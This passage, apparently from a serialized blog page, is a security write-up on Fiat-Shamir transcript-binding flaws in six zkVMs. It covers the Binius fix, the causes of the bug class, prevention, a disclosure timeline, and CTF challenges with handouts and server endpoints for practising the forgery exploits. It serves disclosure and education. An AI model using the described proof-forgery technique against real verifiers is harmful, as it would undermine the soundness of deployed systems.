316,57321,57326,57330,57387,57392,57396,57401],{"type":26,"tag":217,"props":57298,"children":57301},{"className":57299,"style":57300},[241],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":26,"tag":217,"props":57303,"children":57305},{"className":57304},[247,32],[57306],{"type":26,"tag":217,"props":57307,"children":57309},{"className":57308},[247],[57310],{"type":32,"value":47510},{"type":26,"tag":217,"props":57312,"children":57314},{"className":57313},[288],[57315],{"type":32,"value":1851},{"type":26,"tag":217,"props":57317,"children":57319},{"className":57318},[247,2152],[57320],{"type":32,"value":14783},{"type":26,"tag":217,"props":57322,"children":57324},{"className":57323},[1865],[57325],{"type":32,"value":1868},{"type":26,"tag":217,"props":57327,"children":57329},{"className":57328,"style":1872},[258],[],{"type":26,"tag":217,"props":57331,"children":57333},{"className":57332},[247],[57334,57339],{"type":26,"tag":217,"props":57335,"children":57337},{"className":57336,"style":2753},[247,2152],[57338],{"type":32,"value":19414},{"type":26,"tag":217,"props":57340,"children":57342},{"className":57341},[2160],[57343],{"type":26,"tag":217,"props":57344,"children":57346},{"className":57345},[299,300],[57347,57376],{"type":26,"tag":217,"props":57348,"children":57350},{"className":57349},[305],[57351,57371],{"type":26,"tag":217,"props":57352,"children":57354},{"className":57353,"style":2271},[310],[57355],{"type":26,"tag":217,"props":57356,"children":57357},{"style":2775},[57358,57362],{"type":26,"tag":217,"props":57359,"children":57361},{"className":57360,"style":2182},[320],[],{"type":26,"tag":217,"props":57363,"children":57365},{"className":57364},[2187,2188,2189,2190],[57366],{"type":26,"tag":217,"props":57367,"children":57369},{"className":57368,"style":49138},[247,2152,2190],[57370],{"type":32,"value":49141},{"type":26,"tag":217,"props":57372,"children":57374},{"className":57373},[409],[57375],{"type":32,"value":412},{"type":26,"tag":217,"props":57377,"children":57379},{"className":57378},[305],[57380],{"type":26,"tag":217,"props":57381,"children":57383},{"className":57382,"style":53824},[310],[57384],{"type":26,"tag":217,"props":57385,"children":57386},{},[],{"type":26,"tag":217,"props":57388,"children":57390},{"className":57389},[428],[57391],{"type":32,"value":1889},{"type":26,"tag":217,"props":57393,"children":57395},{"className":57394,"style":336},[258],[],{"type":26,"tag":217,"props":57397,"children":57399},{"className":57398},[341],[57400],{"type":32,"value":344},{"type":26,"tag":217,"props":57402,"children":57404},{"className":57403,"style":336},[258],[],{"type":26,"tag":217,"props":57406,"children":57408},{"className":57407},[236],[57409,57413,57422,57427,57432,57437,57441,57451,57456,57465,57470,57479],{"type":26,"tag":217,"props":57410,"children":57412},{"className":57411,"style":49604},[241],[],{"type":26,"tag":217,"props":57414,"children":57416},{"className":57415},[247,32],[57417],{"type":26,"tag":217,"props":57418,"children":57420},{"className":57419},[247],[57421],{"type":32,"value":47510},{"type":26,"tag":217,"props":57423,"children":57425},{"className":57424},[288],[57426],{"type":32,"value":1851},{"type":26,"tag":217,"props":57428,"children":57430},{"className":57429,"style":2468},[247,2152],[57431],{"type":32,"value":2471},{"type":26,"tag":217,"props":57433,"children":57435},{"className":57434},[1865],[57436],{"type":32,"value":1868},{"type":26,"tag":217,"props":57438,"children":57440},{"className":57439,"style":1872},[258],[],{"type":26,"tag":217,"props":57442,"children":57444},{"className":57443},[247,32],[57445],{"type":26,"tag":217,"props":57446,"children":57448},{"className":57447},[247],[57449],{"type":32,"value":57450},"inout",{"type":26,"tag":217,"props":57452,"children":57454},{"className":57453,"style":2753},[247],[57455],{"type":32,"value":49012},{"type":26,"tag":217,"props":57457,"children":57459},{"className":57458},[247,32],[57460],{"type":26,"tag":217,"props":57461,"children":57463},{"className":57462},[247],[57464],{"type":32,"value":33126},{"type":26,"tag":217,"props":57466,"children":57468},{"className":57467,"style":2753},[247],[57469],{"type":32,"value":49012},{"type":26,"tag":217,"props":57471,"children":57473},{"className":57472},[247,32],[57474],{"type":26,"tag":217,"props":57475,"children":57477},{"className":57476},[247],[57478],{"type":32,"value":52700},{"type":26,"tag":217,"props":57480,"children":57482},{"className":57481},[428],[57483],{"type":32,"value":1889},{"type":26,"tag":39,"props":57485,"children":57486},{},[57487,57489,57494,57496,57569],{"type":32,"value":57488},"With challenges fixed (independent of ",{"type":26,"tag":83,"props":57490,"children":57492},{"className":57491},[],[57493],{"type":32,"value":52893},{"type":32,"value":57495},"), an attacker can find an alternate witness ",{"type":26,"tag":83,"props":57497,"children":57499},{"className":57498},[213,4703],[57500],{"type":26,"tag":217,"props":57501,"children":57503},{"className":57502},[225],[57504],{"type":26,"tag":217,"props":57505,"children":57507},{"className":57506,"ariaHidden":231},[230],[57508],{"type":26,"tag":217,"props":57509,"children":57511},{"className":57510},[236],[57512,57517],{"type":26,"tag":217,"props":57513,"children":57516},{"className":57514,"style":57515},[241],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":57518,"children":57520},{"className":57519},[247],[57521,57530],{"type":26,"tag":217,"props":57522,"children":57524},{"className":57523},[247,32],[57525],{"type":26,"tag":217,"props":57526,"children":57528},{"className":57527},[247],[57529],{"type":32,"value":52893},{"type":26,"tag":217,"props":57531,"children":57533},{"className":57532},[2160],[57534],{"type":26,"tag":217,"props":57535,"children":57537},{"className":57536},[299],[57538],{"type":26,"tag":217,"props":57539,"children":57541},{"className":57540},[305],[57542],{"type":26,"tag":217,"props":57543,"children":57546},{"className":57544,"style":57545},[310],"height:0.8362em;",[57547],{"type":26,"tag":217,"props":57548,"children":57550},{"style":57549},"top:-3.1473em;margin-right:0.05em;",[57551,57555],{"type":26,"tag":217,"props":57552,"children":57554},{"className":57553,"style":2182},[320],[],{"type":26,"tag":217,"props":57556,"children":57558},{"className":57557},[2187,2188,2189,2190],[57559],{"type":26,"tag":217,"props":57560,"children":57562},{"className":57561},[247,2190],[57563],{"type":26,"tag":217,"props":57564,"children":57566},{"className":57565},[247,2190],[57567],{"type":32,"value":57568},"′",{"type":32,"value":57570}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":26,"tag":39,"props":57572,"children":57573},{},[57574,57578,57580],{"type":26,"tag":9348,"props":57575,"children":57576},{},[57577],{"type":32,"value":51625},{"type":32,"value":57579}," Fixed on December 29, 2025 via ",{"type":26,"tag":163,"props":57581,"children":57584},{"href":57582,"rel":57583},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[167],[57585],{"type":32,"value":57586},"commit 86a515f",{"type":26,"tag":11933,"props":57588,"children":57589},{},[],{"type":26,"tag":27,"props":57591,"children":57593},{"id":57592},"why-does-this-keep-happening",[57594],{"type":32,"value":57595},"Why Does This Keep Happening?",{"type":26,"tag":39,"props":57597,"children":57598},{},[57599],{"type":32,"value":57600},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":26,"tag":607,"props":57602,"children":57604},{"id":57603},"academic-papers-dont-specify-fiat-shamir",[57605],{"type":32,"value":57606},"Academic Papers Don't Specify Fiat-Shamir",{"type":26,"tag":39,"props":57608,"children":57609},{},[57610,57612,57617,57619,57644,57646,57649,57651,57676,57678,57703],{"type":32,"value":57611},"Academic papers usually describe ",{"type":26,"tag":65,"props":57613,"children":57614},{},[57615],{"type":32,"value":57616},"interactive",{"type":32,"value":57618}," protocols: \"Prover sends ",{"type":26,"tag":83,"props":57620,"children":57622},{"className":57621},[213,4703],[57623],{"type":26,"tag":217,"props":57624,"children":57626},{"className":57625},[225],[57627],{"type":26,"tag":217,"props":57628,"children":57630},{"className":57629,"ariaHidden":231},[230],[57631],{"type":26,"tag":217,"props":57632,"children":57634},{"className":57633},[236],[57635,57639],{"type":26,"tag":217,"props":57636,"children":57638},{"className":57637,"style":4800},[241],[],{"type":26,"tag":217,"props":57640,"children":57642},{"className":57641,"style":20616},[247,2152],[57643],{"type":32,"value":51145},{"type":32,"value":57645},". Verifier sends",{"type":26,"tag":42610,"props":57647,"children":57648},{},[],{"type":32,"value":57650},"random ",{"type":26,"tag":83,"props":57652,"children":57654},{"className":57653},[213,4703],[57655],{"type":26,"tag":217,"props":57656,"children":57658},{"className":57657},[225],[57659],{"type":26,"tag":217,"props":57660,"children":57662},{"className":57661,"ariaHidden":231},[230],[57663],{"type":26,"tag":217,"props":57664,"children":57666},{"className":57665},[236],[57667,57671],{"type":26,"tag":217,"props":57668,"children":57670},{"className":57669,"style":6316},[241],[],{"type":26,"tag":217,"props":57672,"children":57674},{"className":57673,"style":2753},[247,2152],[57675],{"type":32,"value":19414},{"type":32,"value":57677},". Prover sends ",{"type":26,"tag":83,"props":57679,"children":57681},{"className":57680},[213,4703],[57682],{"type":26,"tag":217,"props":57683,"children":57685},{"className":57684},[225],[57686],{"type":26,"tag":217,"props":57687,"children":57689},{"className":57688,"ariaHidden":231},[230],[57690],{"type":26,"tag":217,"props":57691,"children":57693},{"className":57692},[236],[57694,57698],{"type":26,"tag":217,"props":57695,"children":57697},{"className":57696,"style":4800},[241],[],{"type":26,"tag":217,"props":57699,"children":57701},{"className":57700,"style":2897},[247,2152],[57702],{"type":32,"value":2900},{"type":32,"value":57704},".\"",{"type":26,"tag":39,"props":57706,"children":57707},{},[57708,57710,57735,57737,57762],{"type":32,"value":57709},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":26,"tag":83,"props":57711,"children":57713},{"className":57712},[213,4703],[57714],{"type":26,"tag":217,"props":57715,"children":57717},{"className":57716},[225],[57718],{"type":26,"tag":217,"props":57719,"children":57721},{"className":57720,"ariaHidden":231},[230],[57722],{"type":26,"tag":217,"props":57723,"children":57725},{"className":57724},[236],[57726,57730],{"type":26,"tag":217,"props":57727,"children":57729},{"className":57728,"style":4800},[241],[],{"type":26,"tag":217,"props":57731,"children":57733},{"className":57732,"style":20616},[247,2152],[57734],{"type":32,"value":51145},{"type":32,"value":57736}," before sampling ",{"type":26,"tag":83,"props":57738,"children":57740},{"className":57739},[213,4703],[57741],{"type":26,"tag":217,"props":57742,"children":57744},{"className":57743},[225],[57745],{"type":26,"tag":217,"props":57746,"children":57748},{"className":57747,"ariaHidden":231},[230],[57749],{"type":26,"tag":217,"props":57750,"children":57752},{"className":57751},[236],[57753,57757],{"type":26,"tag":217,"props":57754,"children":57756},{"className":57755,"style":6316},[241],[],{"type":26,"tag":217,"props":57758,"children":57760},{"className":57759,"style":2753},[247,2152],[57761],{"type":32,"value":19414},{"type":32,"value":57763},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":26,"tag":39,"props":57765,"children":57766},{},[57767],{"type":32,"value":57768},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":26,"tag":607,"props":57770,"children":57772},{"id":57771},"the-hot-potato-problem",[57773],{"type":32,"value":57774},"The Hot Potato Problem",{"type":26,"tag":39,"props":57776,"children":57777},{},[57778],{"type":32,"value":57779},"Modern zkVMs are modular:",{"type":26,"tag":39,"props":57781,"children":57782},{},[57783],{"type":26,"tag":6468,"props":57784,"children":57787},{"alt":57785,"src":57786},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":26,"tag":39,"props":57789,"children":57790},{},[57791],{"type":32,"value":57792},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":26,"tag":607,"props":57794,"children":57796},{"id":57795},"optimization-pressure",[57797],{"type":32,"value":57798},"Optimization Pressure",{"type":26,"tag":39,"props":57800,"children":57801},{},[57802],{"type":32,"value":57803},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":26,"tag":39,"props":57805,"children":57806},{},[57807],{"type":32,"value":57808},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":26,"tag":607,"props":57810,"children":57812},{"id":57811},"testing-doesnt-catch-adversarial-inputs",[57813],{"type":32,"value":57814},"Testing Doesn't Catch Adversarial Inputs",{"type":26,"tag":39,"props":57816,"children":57817},{},[57818],{"type":32,"value":57819},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":26,"tag":11933,"props":57821,"children":57822},{},[],{"type":26,"tag":27,"props":57824,"children":57826},{"id":57825},"how-to-find-and-fix-these-bugs",[57827],{"type":32,"value":57828},"How to Find and Fix These Bugs",{"type":26,"tag":607,"props":57830,"children":57832},{"id":57831},"prevention",[57833],{"type":32,"value":57834},"Prevention",{"type":26,"tag":39,"props":57836,"children":57837},{},[57838],{"type":32,"value":57839},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":26,"tag":39,"props":57841,"children":57842},{},[57843],{"type":32,"value":57844},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":26,"tag":39,"props":57846,"children":57847},{},[57848],{"type":32,"value":57849},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":26,"tag":39,"props":57851,"children":57852},{},[57853],{"type":32,"value":57854},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":26,"tag":39,"props":57856,"children":57857},{},[57858],{"type":32,"value":57859},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":26,"tag":11933,"props":57861,"children":57862},{},[],{"type":26,"tag":27,"props":57864,"children":57866},{"id":57865},"responsible-disclosure-timeline",[57867],{"type":32,"value":57868},"Responsible Disclosure Timeline",{"type":26,"tag":22343,"props":57870,"children":57871},{},[57872,57898],{"type":26,"tag":22347,"props":57873,"children":57874},{},[57875],{"type":26,"tag":22351,"props":57876,"children":57877},{},[57878,57883,57888,57893],{"type":26,"tag":22355,"props":57879,"children":57880},{},[57881],{"type":32,"value":57882},"System",{"type":26,"tag":22355,"props":57884,"children":57885},{},[57886],{"type":32,"value":57887},"Reported",{"type":26,"tag":22355,"props":57889,"children":57890},{},[57891],{"type":32,"value":57892},"Fixed",{"type":26,"tag":22355,"props":57894,"children":57895},{},[57896],{"type":32,"value":57897},"Response Time",{"type":26,"tag":22366,"props":57899,"children":57900},{},[57901,57923,57944,57964,57986,58007],{"type":26,"tag":22351,"props":57902,"children":57903},{},[57904,57908,57913,57918],{"type":26,"tag":22373,"props":57905,"children":57906},{},[57907],{"type":32,"value":42740},{"type":26,"tag":22373,"props":57909,"children":57910},{},[57911],{"type":32,"value":57912},"Sep 2025",{"type":26,"tag":22373,"props":57914,"children":57915},{},[57916],{"type":32,"value":57917},"Oct 3, 2025",{"type":26,"tag":22373,"props":57919,"children":57920},{},[57921],{"type":32,"value":57922},"\u003C1 week",{"type":26,"tag":22351,"props":57924,"children":57925},{},[57926,57930,57935,57940],{"type":26,"tag":22373,"props":57927,"children":57928},{},[57929],{"type":32,"value":42746},{"type":26,"tag":22373,"props":57931,"children":57932},{},[57933],{"type":32,"value":57934},"Oct 2025",{"type":26,"tag":22373,"props":57936,"children":57937},{},[57938],{"type":32,"value":57939},"Oct 24, 2025",{"type":26,"tag":22373,"props":57941,"children":57942},{},[57943],{"type":32,"value":57922},{"type":26,"tag":22351,"props":57945,"children":57946},{},[57947,57951,57955,57960],{"type":26,"tag":22373,"props":57948,"children":57949},{},[57950],{"type":32,"value":42752},{"type":26,"tag":22373,"props":57952,"children":57953},{},[57954],{"type":32,"value":57934},{"type":26,"tag":22373,"props":57956,"children":57957},{},[57958],{"type":32,"value":57959},"Oct 31, 2025",{"type":26,"tag":22373,"props":57961,"children":57962},{},[57963],{"type":32,"value":57922},{"type":26,"tag":22351,"props":57965,"children":57966},{},[57967,57971,57976,57981],{"type":26,"tag":22373,"props":57968,"children":57969},{},[57970],{"type":32,"value":42758},{"type":26,"tag":22373,"props":57972,"children":57973},{},[57974],{"type":32,"value":57975},"Nov 2025",{"type":26,"tag":22373,"props":57977,"children":57978},{},[57979],{"type":32,"value":57980},"Mar 5, 2026",{"type":26,"tag":22373,"props":57982,"children":57983},{},[57984],{"type":32,"value":57985},"~4 months",{"type":26,"tag":22351,"props":57987,"children":57988},{},[57989,57993,57998,58003],{"type":26,"tag":22373,"props":57990,"children":57991},{},[57992],{"type":32,"value":42770},{"type":26,"tag":22373,"props":57994,"children":57995},{},[57996],{"type":32,"value":57997},"Dec 2025",{"type":26,"tag":22373,"props":57999,"children":58000},{},[58001],{"type":32,"value":58002},"Dec 29, 2025",{"type":26,"tag":22373,"props":58004,"children":58005},{},[58006],{"type":32,"value":57922},{"type":26,"tag":22351,"props":58008,"children":58009},{},[58010,58014,58018,58023],{"type":26,"tag":22373,"props":58011,"children":58012},{},[58013],{"type":32,"value":42764},{"type":26,"tag":22373,"props":58015,"children":58016},{},[58017],{"type":32,"value":57975},{"type":26,"tag":22373,"props":58019,"children":58020},{},[58021],{"type":32,"value":58022},"Jan 21, 2026?",{"type":26,"tag":22373,"props":58024,"children":58025},{},[58026],{"type":32,"value":58027},"3 months",{"type":26,"tag":39,"props":58029,"children":58030},{},[58031],{"type":32,"value":58032},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":26,"tag":11933,"props":58034,"children":58035},{},[],{"type":26,"tag":27,"props":58037,"children":58039},{"id":58038},"challenges",[58040],{"type":32,"value":42783},{"type":26,"tag":39,"props":58042,"children":58043},{},[58044,58046],{"type":32,"value":58045},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":26,"tag":58047,"props":58048,"children":58049},"del",{},[58050],{"type":32,"value":58051},"the first 10 solvers will get a T-shirt.",{"type":26,"tag":39,"props":58053,"children":58054},{},[58055,58057,58110,58111,58365],{"type":32,"value":58056},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":26,"tag":83,"props":58058,"children":58060},{"className":58059},[213,4703],[58061],{"type":26,"tag":217,"props":58062,"children":58064},{"className":58063},[225],[58065],{"type":26,"tag":217,"props":58066,"children":58068},{"className":58067,"ariaHidden":231},[230],[58069],{"type":26,"tag":217,"props":58070,"children":58072},{"className":58071},[236],[58073,58077,58082,58087,58091,58096,58101,58105],{"type":26,"tag":217,"props":58074,"children":58076},{"className":58075,"style":1520},[241],[],{"type":26,"tag":217,"props":58078,"children":58080},{"className":58079},[247,2152],[58081],{"type":32,"value":163},{"type":26,"tag":217,"props":58083,"children":58085},{"className":58084},[1865],[58086],{"type":32,"value":1868},{"type":26,"tag":217,"props":58088,"children":58090},{"className":58089,"style":1872},[258],[],{"type":26,"tag":217,"props":58092,"children":58094},{"className":58093},[247,2152],[58095],{"type":32,"value":14783},{"type":26,"tag":217,"props":58097,"children":58099},{"className":58098},[1865],[58100],{"type":32,"value":1868},{"type":26,"tag":217,"props":58102,"children":58104},{"className":58103,"style":1872},[258],[],{"type":26,"tag":217,"props":58106,"children":58108},{"className":58107},[247,2152],[58109],{"type":32,"value":2255},{"type":32,"value":44585},{"type":26,"tag":83,"props":58112,"children":58114},{"className":58113},[213,4703],[58115],{"type":26,"tag":217,"props":58116,"children":58118},{"className":58117},[225],[58119],{"type":26,"tag":217,"props":58120,"children":58122},{"className":58121,"ariaHidden":231},[230],[58123,58185,58247,58352],{"type":26,"tag":217,"props":58124,"children":58126},{"className":58125},[236],[58127,58131,58172,58176,58181],{"type":26,"tag":217,"props":58128,"children":58130},{"className":58129,"style":19108},[241],[],{"type":26,"tag":217,"props":58132,"children":58134},{"className":58133},[247],[58135,58140],{"type":26,"tag":217,"props":58136,"children":58138},{"className":58137},[247,2152],[58139],{"type":32,"value":163},{"type":26,"tag":217,"props":58141,"children":58143},{"className":58142},[2160],[58144],{"type":26,"tag":217,"props":58145,"children":58147},{"className":58146},[299],[58148],{"type":26,"tag":217,"props":58149,"children":58151},{"className":58150},[305],[58152],{"type":26,"tag":217,"props":58153,"children":58155},{"className":58154,"style":19070},[310],[58156],{"type":26,"tag":217,"props":58157,"children":58158},{"style":6105},[58159,58163],{"type":26,"tag":217,"props":58160,"children":58162},{"className":58161,"style":2182},[320],[],{"type":26,"tag":217,"props":58164,"children":58166},{"className":58165},[2187,2188,2189,2190],[58167],{"type":26,"tag":217,"props":58168,"children":58170},{"className":58169},[247,2190],[58171],{"type":32,"value":10676},{"type":26,"tag":217,"props":58173,"children":58175},{"className":58174,"style":336},[258],[],{"type":26,"tag":217,"props":58177,"children":58179},{"className":58178},[341],[58180],{"type":32,"value":3540},{"type":26,"tag":217,"props":58182,"children":58184},{"className":58183,"style":336},[258],[],{"type":26,"tag":217,"props":58186,"children":58188},{"className":58187},[236],[58189,58193,58234,58238,58243],{"type":26,"tag":217,"props":58190,"children":58192},{"className":58191,"style":19070},[241],[],{"type":26,"tag":217,"props":58194,"children":58196},{"className":58195},[247],[58197,58202],{"type":26,"tag":217,"props":58198,"children":58200},{"className":58199},[247,2152],[58201],{"type":32,"value":14783},{"type":26,"tag":217,"props":58203,"children":58205},{"className":58204},[2160],[58206],{"type":26,"tag":217,"props":58207,"children":58209},{"className":58208},[299],[58210],{"type":26,"tag":217,"props":58211,"children":58213},{"className":58212},[305],[58214],{"type":26,"tag":217,"props":58215,"children":58217},{"className":58216,"style":19070},[310],[58218],{"type":26,"tag":217,"props":58219,"children":58220},{"style":6105},[58221,58225],{"type":26,"tag":217,"props":58222,"children":58224},{"className":58223,"style":2182},[320],[],{"type":26,"tag":217,"props":58226,"children":58228},{"className":58227},[2187,2188,2189,2190],[58229],{"type":26,"tag":217,"props":58230,"children":58232},{"className":58231},[247,2190],[58233],{"type":32,"value":10676},{"type":26,"tag":217,"props":58235,"children":58237},{"className":58236,"style":259},[258],[],{"type":26,"tag":217,"props":58239,"children":58241},{"className":58240},[264],[58242],{"type":32,"value":267},{"type":26,"tag":217,"props":58244,"children":58246},{"className":58245,"style":259},[258],[],{"type":26,"tag":217,"props":58248,"children":58250},{"className":58249},[236],[58251,58255,58296,58301,58305,58310,58315,58319,58324,58329,58333,58338,58342,58348],{"type":26,"tag":217,"props":58252,"children":58254},{"className":58253,"style":19044},[241],[],{"type":26,"tag":217,"props":58256,"children":58258},{"className":58257},[247],[58259,58264],{"type":26,"tag":217,"props":58260,"children":58262},{"className":58261},[247,2152],[58263],{"type":32,"value":2255},{"type":26,"tag":217,"props":58265,"children":58267},{"className":58266},[2160],[58268],{"type":26,"tag":217,"props":58269,"children":58271},{"className":58270},[299],[58272],{"type":26,"tag":217,"props":58273,"children":58275},{"className":58274},[305],[58276],{"type":26,"tag":217,"props":58277,"children":58279},{"className":58278,"style":19070},[310],[58280],{"type":26,"tag":217,"props":58281,"children":58282},{"style":6105},[58283,58287],{"type":26,"tag":217,"props":58284,"children":58286},{"className":58285,"style":2182},[320],[],{"type":26,"tag":217,"props":58288,"children":58290},{"className":58289},[2187,2188,2189,2190],[58291],{"type":26,"tag":217,"props":58292,"children":58294},{"className":58293},[247,2190],[58295],{"type":32,"value":10676},{"type":26,"tag":217,"props":58297,"children":58299},{"className":58298},[1865],[58300],{"type":32,"value":1868},{"type":26,"tag":217,"props":58302,"children":58304},{"className":58303,"style":1872},[258],[],{"type":26,"tag":217,"props":58306,"children":58308},{"className":58307},[247,2152],[58309],{"type":32,"value":163},{"type":26,"tag":217,"props":58311,"children":58313},{"className":58312},[1865],[58314],{"type":32,"value":1868},{"type":26,"tag":217,"props":58316,"children":58318},{"className":58317,"style":1872},[258],[],{"type":26,"tag":217,"props":58320,"children":58322},{"className":58321},[247,2152],[58323],{"type":32,"value":14783},{"type":26,"tag":217,"props":58325,"children":58327},{"className":58326},[1865],[58328],{"type":32,"value":1868},{"type":26,"tag":217,"props":58330,"children":58332},{"className":58331,"style":1872},[258],[],{"type":26,"tag":217,"props":58334,"children":58336},{"className":58335},[247,2152],[58337],{"type":32,"value":2255},{"type":26,"tag":217,"props":58339,"children":58341},{"className":58340,"style":259},[258],[],{"type":26,"tag":217,"props":58343,"children":58345},{"className":58344},[264],[58346],{"type":32,"value":58347},"≥",{"type":26,"tag":217,"props":58349,"children":58351},{"className":58350,"style":259},[258],[],{"type":26,"tag":217,"props":58353,"children":58355},{"className":58354},[236],[58356,58360],{"type":26,"tag":217,"props":58357,"children":58359},{"className":58358,"style":5294},[241],[],{"type":26,"tag":217,"props":58361,"children":58363},{"className":58362},[247],[58364],{"type":32,"value":185},{"type":32,"value":58366},". Good luck!",{"type":26,"tag":607,"props":58368,"children":58370},{"id":58369},"jolt",[58371],{"type":32,"value":42740},{"type":26,"tag":39,"props":58373,"children":58374},{},[58375,58377,58388,58390],{"type":32,"value":58376},"See ",{"type":26,"tag":163,"props":58378,"children":58385},{"href":58379,"target":58380,"rel":58381,"download":58384},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[58382,58383],"noopener","noreferrer","handout_jolt.tar.gz",[58386],{"type":32,"value":58387},"the handout",{"type":32,"value":58389}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":26,"tag":83,"props":58391,"children":58393},{"className":58392},[],[58394],{"type":32,"value":58395},"jolt.chal.osec.io:8960",{"type":26,"tag":607,"props":58397,"children":58399},{"id":58398},"nexus-1",[58400],{"type":32,"value":42746},{"type":26,"tag":39,"props":58402,"children":58403},{},[58404,58405,58412,58413],{"type":32,"value":58376},{"type":26,"tag":163,"props":58406,"children":58410},{"href":58407,"target":58380,"rel":58408,"download":58409},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[58382,58383],"handout_nexus.tar.gz",[58411],{"type":32,"value":58387},{"type":32,"value":58389},{"type":26,"tag":83,"props":58414,"children":58416},{"className":58415},[],[58417],{"type":32,"value":58418},"nexus.chal.osec.io:8950",{"type":26,"tag":39,"props":58420,"children":58421},{},[58422],{"type":32,"value":58423},"Now you should have enough margin to prove Fermat wrong.",{"type":26,"tag":11933,"props":58425,"children":58426},{},[],{"type":26,"tag":27,"props":58428,"children":58430},{"id":58429},"takeaways",[58431],{"type":32,"value":58432},"Takeaways",{"type":26,"tag":39,"props":58434,"children":58435},{},[58436],{"type":32,"value":58437},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":26,"tag":39,"props":58439,"children":58440},{},[58441],{"type":32,"value":58442},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":26,"tag":39,"props":58444,"children":58445},{},[58446,58451],{"type":26,"tag":9348,"props":58447,"children":58448},{},[58449],{"type":32,"value":58450},"For the ZK ecosystem:",{"type":32,"value":58452}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":26,"tag":39,"props":58454,"children":58455},{},[58456],{"type":32,"value":58457},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":26,"tag":39,"props":58459,"children":58460},{},[58461,58466],{"type":26,"tag":9348,"props":58462,"children":58463},{},[58464],{"type":32,"value":58465},"For auditors:",{"type":32,"value":58467}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":26,"tag":39,"props":58469,"children":58470},{},[58471,58476],{"type":26,"tag":9348,"props":58472,"children":58473},{},[58474],{"type":32,"value":58475},"For builders:",{"type":32,"value":58477}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":26,"tag":9282,"props":58479,"children":58480},{},[58481],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":58483},[58484,58485,58488,58494,58495,58503,58509,58512,58513,58517],{"id":42791,"depth":6770,"text":42794},{"id":42933,"depth":6770,"text":42936,"children":58486},[58487],{"id":42939,"depth":6779,"text":42942},{"id":43372,"depth":6770,"text":43375,"children":58489},[58490,58491,58492,58493],{"id":43383,"depth":6779,"text":43386},{"id":43572,"depth":6779,"text":43575},{"id":46944,"depth":6779,"text":46947},{"id":48156,"depth":6779,"text":48159},{"id":49792,"depth":6770,"text":49795},{"id":50294,"depth":6770,"text":50297,"children":58496},[58497,58498,58499,58500,58501,58502],{"id":50316,"depth":6779,"text":50319},{"id":51640,"depth":6779,"text":42746},{"id":52776,"depth":6779,"text":52779},{"id":53444,"depth":6779,"text":53447},{"id":56099,"depth":6779,"text":56102},{"id":56657,"depth":6779,"text":42770},{"id":57592,"depth":6770,"text":57595,"children":58504},[58505,58506,58507,58508],{"id":57603,"depth":6779,"text":57606},{"id":57771,"depth":6779,"text":57774},{"id":57795,"depth":6779,"text":57798},{"id":57811,"depth":6779,"text":57814},{"id":57825,"depth":6770,"text":57828,"children":58510},[58511],{"id":57831,"depth":6779,"text":57834},{"id":57865,"depth":6770,"text":57868},{"id":58038,"depth":6770,"text":42783,"children":58514},[58515,58516],{"id":58369,"depth":6779,"text":42740},{"id":58398,"depth":6779,"text":42746},{"id":58429,"depth":6770,"text":58432},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":58522,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":58523,"description":58524,"date":58525,"author":58526,"image":58527,"isFeatured":17,"onBlogPage":17,"tags":585